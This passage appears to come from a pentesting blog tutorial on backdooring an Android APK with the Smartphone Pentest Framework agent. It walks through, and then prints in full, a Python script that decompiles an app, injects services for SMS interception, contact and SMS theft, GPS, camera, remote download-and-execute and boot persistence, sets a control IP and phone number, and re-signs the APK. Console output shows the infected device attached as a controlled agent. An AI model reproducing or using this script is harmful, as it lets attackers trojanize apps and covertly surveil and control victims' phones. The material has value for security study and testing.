newfolder += add os.system("mkdir AndroidAgent/" + newfolder) fullclasspath = "AndroidAgent/" + newfolder + classname + ".java" os.system("touch " + fullclasspath) f = open(fullclasspath, 'w') line1 = "package " + package + ";\n" line2 = "import android.app.Activity;\n" line3 = "public class " + classname + " extends Activity {\n" line4 = "}\n" f.write(line1) f.write(line2) f.write(line3) f.write(line4) f.close() os.system("android update project --name AndroidAgent --path AndroidAgent/") os.system("ant -f AndroidAgent/build.xml clean debug") os.system(apktoolloc + " d AndroidAgent/bin/AndroidAgent-debug.apk AndroidAgent2/") os.system("mkdir " + foldername + "/smali/com") os.system("cp -rf AndroidAgent2/smali/com/bulbsecurity " + foldername + "/smali/com/") os.system("mkdir " + foldername + "/smali/jackpal") os.system("cp -rf AndroidAgent2/smali/jackpal " + foldername + "/smali/") manifestfile = foldername + "/AndroidManifest.xml" inject = """ <receiver android:name="com.bulbsecurity.framework.SMSReceiver"> <intent-filter android:priority="999"><action android:name="android.provider.Telephony.SMS_RECEIVED" /></intent-filter> </receiver> <service android:name="com.bulbsecurity.framework.SMSService"> </service> <receiver android:name="com.bulbsecurity.framework.ServiceAutoStarterr"> <intent-filter ><action android:name="android.intent.action.BOOT_COMPLETED"></action></intent-filter> </receiver> <receiver android:name="com.bulbsecurity.framework.AlarmReceiver" android:process=":remote"></receiver> <service android:name="com.bulbsecurity.framework.CommandHandler"> </service> <service android:name="com.bulbsecurity.framework.PingSweep"> </service> <service android:name="com.bulbsecurity.framework.SMSGet"> </service> <service android:name="com.bulbsecurity.framework.ContactsGet"> </service> <service android:name="com.bulbsecurity.framework.InternetPoller"> </service> <service android:name="com.bulbsecurity.framework.WebUploadService"> </service> <service android:name="com.bulbsecurity.framework.PictureService"> </service> <service android:name="com.bulbsecurity.framework.Download"> </service> <service android:name="com.bulbsecurity.framework.Execute"> </service> <service android:name="com.bulbsecurity.framework.GetGPS"> </service> <service android:name="com.bulbsecurity.framework.Checkin"> </service> <service android:name="com.bulbsecurity.framework.Listener"></service> <service android:name="com.bulbsecurity.framework.Phase1" android:process=":three"> </service> <service android:name="com.bulbsecurity.framework.Phase2" android:process=":two"> </service> <service android:name="com.bulbsecurity.framework.Exynos"></service> <service android:name="com.bulbsecurity.framework.Upload"></service> <activity android:name="com.bulbsecurity.framework.AndroidAgentActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> """ with open(manifestfile, 'r') as f: fc = f.read() with open(manifestfile, 'w') as f: f.write(re.sub(r'(<\/application>)', r'%s\1'%inject, fc, count=1)) inject = """ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> """ with open(manifestfile, 'r') as f: fc = f.read() with open(manifestfile, 'w') as f: f.write(re.sub(r'(<uses-permission)', r'%s\1'%inject, fc, count=1)) stringfile = foldername + "/res/values/strings.xml" inject = """ <string name="key">KEYKEY1</string> <string name="controlnumber">155552155554</string> <string name="controlIP">192.168.1.108</string> <string name="urii">/control</string> <string name="controlpath">/androidagent1</string> """ if os.path.exists(stringfile): with open(stringfile, 'r') as f: fc = f.read() with open(stringfile, 'w') as f: f.write(re.sub(r'(<\/resources>)', r'%s\1'%inject, fc, count=1)) else: inject2 = """ <?xml version="1.0" encoding="utf-8"?> <resources> """ os.system("touch " + stringfile) with open(stringfile, 'w') as f: f.write(inject2) f.write(inject) f.write("</resources>") controlphone = raw_input('Phone number of the control modem for the agent: ').strip() controlkey = raw_input('Control key for the agent: ').strip() controlpath = raw_input('Webserver control path for agent: ').strip() controlip = raw_input('Webserver control IP: ').strip() os.system("sed -i \'s/<string name=\"key\">.*/<string name=\"key\">" + controlkey + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlnumber\">.*/<string name=\"controlnumber\">" + controlphone + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlIP\">.*/<string name=\"controlIP\">" + controlip + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlip\">.*/<string name=\controlip\">" + controlip + "<\\/string>/' " + stringfile) xml_path = foldername + '/res/values/styles.xml' if os.path.exists(xml_path): tree = ET.parse(xml_path) for child in tree.findall('.//*[@parent]'): if child.get('parent').startswith('@*android:style/'): new_parent = child.get('parent').replace('@*android:style/','@android:style/') child.set('parent', new_parent) tree.write(xml_path) os.system(apktoolloc + " b " + foldername + " " + foldername + ".apk") os.system("rm -rf " + foldername) os.system(apktoolloc + " d " + foldername + ".apk " + foldername + "/") |
Remapping the Resources
Now run the script up to here. Take a look inside the new decompiled MapsDemo. Look in res/values and view public.xml. Take note of the hexadecimal values for the strings we added previously.
<public type="string" name="key" id="0x7f050001" /> <public type="string" name="controlnumber" id="0x7f050002" /> <public type="string" name="controlIP" id="0x7f050003" /> <public type="string" name="urii" id="0x7f050004" /> <public type="string" name="controlpath" id="0x7f050005" /> |
These resources are mapped incorrectly. For example take a look at the Smali for the Checkin class at MapsDemo/smali/com/bulbsecurity/framework.Checkin.smali and grep for 0x to get hex values
root@kali:~/BackdoorExample/MapsDemo/smali/com/bulbsecurity/framework# cat Checkin.smali | grep 0x
const/4 v0, 0x0
const v15, 0x7f050003
const v15, 0x7f050004
..snip...
Now compare this to the source code of the Checkin class in AndroidAgent/src/com/bulbsecurity/framework. The only two calls to the resources in this class are:
String key = getApplicationContext().getResources().getString(R.string.key); String controlnumber = getApplicationContext().getResources().getString(R.string.controlnumber); |
Comparing the values for key (0x7f0500001) and controlnumber(0x7f0500002) in public.xml to the values in the Smali code 0x7f0500003 and 0x7f0500004 respectively, you can see that the resources are indeed mapped incorrectly. Luckily, we can easily fix this. Grab an ET of public.xml and note all the new resource hexadecimal values in variables.
tree = ET.ElementTree() tree.parse(foldername + "/res/values/public.xml") root = tree.getroot() for child in root: if (child.get('name') == "key" ): newkeyvalue = child.get('id') if (child.get('name') == "urii" ): newuriivalue = child.get('id') if (child.get('name') == "controlIP" ): newcontrolIPvalue = child.get('id') if (child.get('name') == "controlnumber" ): newcontrolnumbervalue = child.get('id') if (child.get('name') == "controlpath" ): newcontrolpathvalue = child.get('id') |
Luckily for us the old values can be found in the R$.string Smali file at MapsDemo/smali/com/bulbsecurity/framework. Look for the string name and grab field 7 with cut as shown below.
oldkeyvalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep key | cut -d" " -f7').read().strip() olduriivalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep urii | cut -d" " -f7').read().strip() oldcontrolIPvalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep controlIP | cut -d" " -f7').read().strip() oldcontrolpathvalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep controlpath | cut -d" " -f7').read().strip() oldcontrolnumbervalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep controlnumber | cut -d" " -f7').read().strip() |
Now use os.walk to grab every file in the MapsDemo/smali/com/bulbsecurity/framework directory. Then look through each file and replace any instances of the old value with the new value. This should effectively remap our resources on the fly.
for dname, dirs, files in os.walk(foldername + "/smali/com/bulbsecurity/framework"): for fname in files: fpath = os.path.join(dname, fname) with open(fpath) as f: s = f.read() s = s.replace(oldkeyvalue, newkeyvalue) s = s.replace(olduriivalue, newuriivalue) s = s.replace(oldcontrolIPvalue, newcontrolIPvalue) s = s.replace(oldcontrolpathvalue, newcontrolpathvalue) s = s.replace(oldcontrolnumbervalue, newcontrolnumbervalue) with open(fpath, "w") as f: f.write(s) |
Don’t forget to add some code to fix the Apktool bug again before recompiling.
xml_path = foldername + '/res/values/styles.xml' if os.path.exists(xml_path): tree = ET.parse(xml_path) for child in tree.findall('.//*[@parent]'): if child.get('parent').startswith('@*android:style/'): new_parent = child.get('parent').replace('@*android:style/','@android:style/') child.set('parent', new_parent) tree.write(xml_path) os.system("rm " + foldername + ".apk") os.system(apktoolloc + " b " + foldername + " " + foldername + ".apk") |
Signing the APK
The last thing we need to do is sign the backdoored APK. Though Android allows self signed apps, even devices that allow the installation of apps from sources other than Google Play require APKs to be signed. I will do a separate post on signing methods including the infamous Android Master Key vulnerability in the future. For now let’s just sign with the debug key. In Kali Linux this is stored in the /root/.android directory and has a default password of android.
os.system("jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /root/.android/debug.keystore " + foldername + ".apk " + "androiddebugkey") |
Now you can run the APK on a device or emulator. Since we’ve backdoored our APK with the SPF Agent, if we set the correct parameters we can even hook it up to the SPF console.
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent/Create Agent
2.) Send Commands to an Agent
3.) View Information Gathered
4.) Attach Framework to a Mobile Modem
5.) Run a remote attack
6.) Run a social engineering or client side attack
7.) Clear/Create Database
8.) Use Metasploit
9.) Compile code to run on mobile devices
10.) Install Stuff
11.) Use Drozer
0.) Exit
spf> 1
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent
2.) Generate Agent App
3.) Copy Agent to Web Server
4.) Import an Agent Template
5.) Backdoor Android APK with Agent
6.) Create APK Signing Key
spf> 1
Attach to a Deployed Agent:
This will set up handlers to control an agent that has already been deployed.
Agent URL Path: /androidagent1
Agent Control Key: KEYKEY1
Communication Method(SMS/HTTP): HTTP
URL Path: /androidagent1
Control Key: KEYKEY1
Communication Method: HTTP
Is this correct?(y/N): y
mkdir: cannot create directory `/var/www/androidagent1′: File exists
– – –
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent/Create Agent
2.) Send Commands to an Agent
3.) View Information Gathered
4.) Attach Framework to a Mobile Modem
5.) Run a remote attack
6.) Run a social engineering or client side attack
7.) Clear/Create Database
8.) Use Metasploit
9.) Compile code to run on mobile devices
10.) Install Stuff
11.) Use Drozer
0.) Exit
spf> 2
Available Agents:
1.) +16017502059
More details on this are covered in the SPF Manual Agents Section.
Putting it all together
Though we looked at a particular backdoor in this post, you can see how this technique could be extended to work with custom backdoors you create including both passive code such as an SMS broadcast receiver and active code that we need to start when the app starts such as the HTTP poller we added here.
The final script code is shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 |
#!/usr/bin/python import os import xml.etree.ElementTree as ET import re inputfile = raw_input('APK to Backdoor: ').strip() apktoolloc = "/root/Smartphone-Pentest-Framework/apktool-install-linux-r05-ibot/apktool" os.system(apktoolloc + " d " + inputfile) path,file = os.path.split(inputfile) foldername = file[:-4] ET.register_namespace("android", "http://schemas.android.com/apk/res/android") tree = ET.ElementTree() tree.parse(foldername + "/AndroidManifest.xml") root = tree.getroot() package = root.get('package') print package for child in root: if child.tag == "application": app = child for child in app: if child.tag == "activity": act = child for child in act: if child.tag == "intent-filter": filter = child for child in filter: if (filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): if (filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): mainact = act.get('{http://schemas.android.com/apk/res/android}name') if mainact[0] == ".": mainact = package + mainact print mainact act.remove(filter) tree.write("output.xml") break os.system("mv output.xml " + foldername + "/AndroidManifest.xml") mainactsplit = mainact.split(".") length = len(mainactsplit) classname = mainactsplit[length - 1] print classname package = mainactsplit[0] + "." for x in range(1, (length - 2)): add = mainactsplit[x] + "." package += add package += mainactsplit[length - 2] print package appmain = package + "." + classname + ".class" print appmain mainfile = "AndroidAgent/src/com/bulbsecurity/framework/AndroidAgentActivity.java" inject = "\n Intent intent2 = new Intent(getApplicationContext(), " + appmain + ");\nstartActivity(intent2);\n" with open(mainfile, 'r') as f: fc = f.read() with open(mainfile, 'w') as f: f.write(re.sub(r'(finish)', r'%s\1'%inject, fc, count=1)) newfolder = "src/" + mainactsplit[0] + "/" os.system("mkdir AndroidAgent/" + newfolder) for x in range(1, (length - 1)): add = mainactsplit[x] + "/" newfolder += add os.system("mkdir AndroidAgent/" + newfolder) fullclasspath = "AndroidAgent/" + newfolder + classname + ".java" os.system("touch " + fullclasspath) f = open(fullclasspath, 'w') line1 = "package " + package + ";\n" line2 = "import android.app.Activity;\n" line3 = "public class " + classname + " extends Activity {\n" line4 = "}\n" f.write(line1) f.write(line2) f.write(line3) f.write(line4) f.close() os.system("android update project --name AndroidAgent --path AndroidAgent/") os.system("ant -f AndroidAgent/build.xml clean debug") os.system(apktoolloc + " d AndroidAgent/bin/AndroidAgent-debug.apk AndroidAgent2/") os.system("mkdir " + foldername + "/smali/com") os.system("cp -rf AndroidAgent2/smali/com/bulbsecurity " + foldername + "/smali/com/") os.system("mkdir " + foldername + "/smali/jackpal") os.system("cp -rf AndroidAgent2/smali/jackpal " + foldername + "/smali/") manifestfile = foldername + "/AndroidManifest.xml" inject = """ <receiver android:name="com.bulbsecurity.framework.SMSReceiver"> <intent-filter android:priority="999"><action android:name="android.provider.Telephony.SMS_RECEIVED" /></intent-filter> </receiver> <service android:name="com.bulbsecurity.framework.SMSService"> </service> <receiver android:name="com.bulbsecurity.framework.ServiceAutoStarterr"> <intent-filter ><action android:name="android.intent.action.BOOT_COMPLETED"></action></intent-filter> </receiver> <receiver android:name="com.bulbsecurity.framework.AlarmReceiver" android:process=":remote"></receiver> <service android:name="com.bulbsecurity.framework.CommandHandler"> </service> <service android:name="com.bulbsecurity.framework.PingSweep"> </service> <service android:name="com.bulbsecurity.framework.SMSGet"> </service> <service android:name="com.bulbsecurity.framework.ContactsGet"> </service> <service android:name="com.bulbsecurity.framework.InternetPoller"> </service> <service android:name="com.bulbsecurity.framework.WebUploadService"> </service> <service android:name="com.bulbsecurity.framework.PictureService"> </service> <service android:name="com.bulbsecurity.framework.Download"> </service> <service android:name="com.bulbsecurity.framework.Execute"> </service> <service android:name="com.bulbsecurity.framework.GetGPS"> </service> <service android:name="com.bulbsecurity.framework.Checkin"> </service> <service android:name="com.bulbsecurity.framework.Listener"></service> <service android:name="com.bulbsecurity.framework.Phase1" android:process=":three"> </service> <service android:name="com.bulbsecurity.framework.Phase2" android:process=":two"> </service> <service android:name="com.bulbsecurity.framework.Exynos"></service> <service android:name="com.bulbsecurity.framework.Upload"></service> <activity android:name="com.bulbsecurity.framework.AndroidAgentActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> """ with open(manifestfile, 'r') as f: fc = f.read() with open(manifestfile, 'w') as f: f.write(re.sub(r'(<\/application>)', r'%s\1'%inject, fc, count=1)) inject = """ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> """ with open(manifestfile, 'r') as f: fc = f.read() with open(manifestfile, 'w') as f: f.write(re.sub(r'(<uses-permission)', r'%s\1'%inject, fc, count=1)) stringfile = foldername + "/res/values/strings.xml" inject = """ <string name="key">KEYKEY1</string> <string name="controlnumber">155552155554</string> <string name="controlIP">192.168.1.108</string> <string name="urii">/control</string> <string name="controlpath">/androidagent1</string> """ if os.path.exists(stringfile): with open(stringfile, 'r') as f: fc = f.read() with open(stringfile, 'w') as f: f.write(re.sub(r'(<\/resources>)', r'%s\1'%inject, fc, count=1)) else: inject2 = """ <?xml version="1.0" encoding="utf-8"?> <resources> """ os.system("touch " + stringfile) with open(stringfile, 'w') as f: f.write(inject2) f.write(inject) f.write("</resources>") controlphone = raw_input('Phone number of the control modem for the agent: ').strip() controlkey = raw_input('Control key for the agent: ').strip() controlpath = raw_input('Webserver control path for agent: ').strip() controlip = raw_input('Webserver control IP: ').strip() os.system("sed -i \'s/<string name=\"key\">.*/<string name=\"key\">" + controlkey + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlnumber\">.*/<string name=\"controlnumber\">" + controlphone + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlIP\">.*/<string name=\"controlIP\">" + controlip + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlip\">.*/<string name=\controlip\">" + controlip + "<\\/string>/' " + stringfile) xml_path = foldername + '/res/values/styles.xml' if os.path.exists(xml_path): tree = ET.parse(xml_path) for child in tree.findall('.//*[@parent]'): if child.get('parent').startswith('@*android:style/'): new_parent = child.get('parent').replace('@*android:style/','@android:style/') child.set('parent', new_parent) tree.write(xml_path) os.system(apktoolloc + " b " + foldername + " " + foldername + ".apk") os.system("rm -rf " + foldername) os.system(apktoolloc + " d " + foldername + ".apk " + foldername + "/") tree = ET.ElementTree() tree.parse(foldername + "/res/values/public.xml") root = tree.getroot() for child in root: if (child.get('name') == "key" ): newkeyvalue = child.get('id') if (child.get('name') == "urii" ): newuriivalue = child.get('id') if (child.get('name') == "controlIP" ): newcontrolIPvalue = child.get('id') if (child.get('name') == "controlnumber" ): newcontrolnumbervalue = child.get('id') if (child.get('name') == "controlpath" ): newcontrolpathvalue = child.get('id') oldkeyvalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep key | cut -d" " -f7').read().strip() olduriivalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep urii | cut -d" " -f7').read().strip() oldcontrolIPvalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep controlIP | cut -d" " -f7').read().strip() oldcontrolpathvalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep controlpath | cut -d" " -f7').read().strip() oldcontrolnumbervalue = os.popen('cat ' + foldername + '/smali/com/bulbsecurity/framework/R\$string.smali | grep controlnumber | cut -d" " -f7').read().strip() for dname, dirs, files in os.walk(foldername + "/smali/com/bulbsecurity/framework"): for fname in files: fpath = os.path.join(dname, fname) with open(fpath) as f: s = f.read() s = s.replace(oldkeyvalue, newkeyvalue) s = s.replace(olduriivalue, newuriivalue) s = s.replace(oldcontrolIPvalue, newcontrolIPvalue) s = s.replace(oldcontrolpathvalue, newcontrolpathvalue) s = s.replace(oldcontrolnumbervalue, newcontrolnumbervalue) with open(fpath, "w") as f: f.write(s) xml_path = foldername + '/res/values/styles.xml' if os.path.exists(xml_path): tree = ET.parse(xml_path) for child in tree.findall('.//*[@parent]'): if child.get('parent').startswith('@*android:style/'): new_parent = child.get('parent').replace('@*android:style/','@android:style/') child.set('parent', new_parent) tree.write(xml_path) os.system("rm " + foldername + ".apk") os.system(apktoolloc + " b " + foldername + " " + foldername + ".apk") os.system("jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /root/.android/debug.keystore " + foldername + ".apk " + "androiddebugkey") |